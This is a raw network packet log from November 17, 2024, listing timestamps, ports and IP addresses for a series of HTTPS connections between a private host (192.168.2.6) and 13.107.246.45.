Nov 17, 2024 12:35:41.958303928 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.958350897 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.958350897 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.958369970 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.958380938 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.960788965 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.960880995 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.960968018 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.961139917 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.961163998 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.966804981 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.966857910 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.966918945 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.966929913 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.967000961 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.967051029 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.967118979 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.967118979 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.967132092 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.967143059 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.969373941 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.969417095 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:41.969593048 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.969924927 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:41.969943047 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.370032072 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.370564938 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.370594025 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.371027946 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.371032953 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.499869108 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.499901056 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.499946117 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.500005960 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.500158072 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.500178099 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.500193119 CET	49915	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.500200033 CET	443	49915	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.506284952 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.506330013 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.506571054 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.506757021 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.506769896 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.664047956 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.664545059 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.664583921 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.664999962 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.665009975 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.692620993 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.693259001 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.693310976 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.693728924 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.693741083 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.701009035 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.701375961 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.701406956 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.701786041 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.701792955 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.800514936 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.800587893 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.800710917 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.800806046 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.803091049 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.803116083 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.803186893 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.803195000 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.805769920 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.805799007 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.806158066 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.806543112 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.806556940 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.821621895 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.821774006 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.821926117 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.822117090 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.822134018 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.822185040 CET	49917	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.822191954 CET	443	49917	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.824583054 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.824615955 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.824726105 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.825108051 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.825123072 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.829566002 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.830358028 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.830400944 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.830459118 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.830552101 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.834675074 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.834702015 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.836066008 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.836070061 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.836719036 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.836744070 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.836759090 CET	49918	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.836765051 CET	443	49918	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.842184067 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.842195988 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.842453957 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.842700005 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.842711926 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.963931084 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.964004040 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.964641094 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.964850903 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.964864016 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.964879036 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.964884043 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.990967989 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.990983963 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:42.991058111 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.991806030 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:42.991822004 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.237236977 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.238574028 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.238595009 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.239135981 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.239141941 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.368508101 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.368571043 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.368645906 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.536780119 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.539077044 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.539100885 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.539114952 CET	49919	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.539122105 CET	443	49919	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.563538074 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.563556910 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.567332983 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.567338943 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.576654911 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.577797890 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.584676981 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.584700108 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.588113070 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.588119030 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.592139959 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.592176914 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.599508047 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.599517107 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.610615015 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.610657930 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.610760927 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.613847971 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.613862991 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.691951990 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.691972017 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.692019939 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.692049980 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.692091942 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.692361116 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.692361116 CET	49922	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.692377090 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.692388058 CET	443	49922	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.694881916 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.694920063 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.695235968 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.695357084 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.695373058 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.716646910 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.716712952 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.716778040 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.716856003 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.716900110 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.716918945 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.716932058 CET	49923	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.716938019 CET	443	49923	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.719413042 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.719453096 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.719575882 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.720300913 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.720315933 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.727058887 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.727088928 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.727134943 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.727143049 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.727180004 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.727368116 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.727384090 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.727399111 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.727406025 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.729058027 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.730576992 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.730595112 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.730990887 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.730997086 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.732274055 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.732306004 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.732372046 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.732531071 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.732546091 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.859214067 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.859277010 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.859673023 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.859853983 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.859863043 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.859877110 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.859880924 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.867707014 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.867729902 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:43.867866993 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.868295908 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:43.868313074 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.341567993 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.341975927 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.342015028 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.342761040 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.342770100 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.425020933 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.458657980 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.465032101 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.472824097 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.472877026 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.473514080 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.473525047 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.473860979 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.473890066 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.474282980 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.474292040 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.474375963 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.474447012 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.474498987 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.474672079 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.474689960 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.474699020 CET	49932	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.474704027 CET	443	49932	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.476264954 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.476281881 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.476815939 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.476820946 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.479048967 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.479104996 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.479218006 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.479406118 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.479424000 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.598436117 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.598589897 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.598792076 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.598906994 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.598932028 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.598970890 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.598998070 CET	49935	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.599015951 CET	443	49935	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.599415064 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.599478006 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.599539042 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.600730896 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.600759983 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.600789070 CET	49933	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.600799084 CET	443	49933	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.602766991 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.602806091 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.603455067 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.603461981 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.606494904 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.606525898 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.606714964 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.606837988 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.606851101 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.608639956 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.608680010 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.608741999 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.609059095 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.609076977 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.643867016 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.643939018 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.643999100 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.644007921 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.644054890 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.644102097 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.644411087 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.644421101 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.644428968 CET	49934	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.644433975 CET	443	49934	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.647286892 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.647303104 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.647533894 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.647867918 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.647891998 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.728601933 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.728667974 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.728769064 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.728823900 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.730113983 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.730134964 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.730149031 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.730155945 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.736052990 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.736073971 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:44.736252069 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.737603903 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:44.737618923 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.209503889 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.228630066 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.228648901 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.229382038 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.229388952 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.335931063 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.336504936 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.336519003 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.337316036 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.337318897 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.347564936 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.348124027 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.348143101 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.348747969 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.348753929 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.354195118 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.354255915 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.354331017 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.354564905 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.354564905 CET	49947	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.354585886 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.354598999 CET	443	49947	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.357981920 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.358072042 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.358154058 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.358350039 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.358385086 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.389620066 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.389960051 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.389978886 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.390477896 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.390484095 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.464946032 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.464976072 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.465023994 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.465089083 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.465378046 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.465393066 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.465401888 CET	49948	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.465406895 CET	443	49948	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.469121933 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.469160080 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.469265938 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.469484091 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.469500065 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.477509022 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.477699995 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.477780104 CET	49949	443	192.168.2.6	13.107.246.45
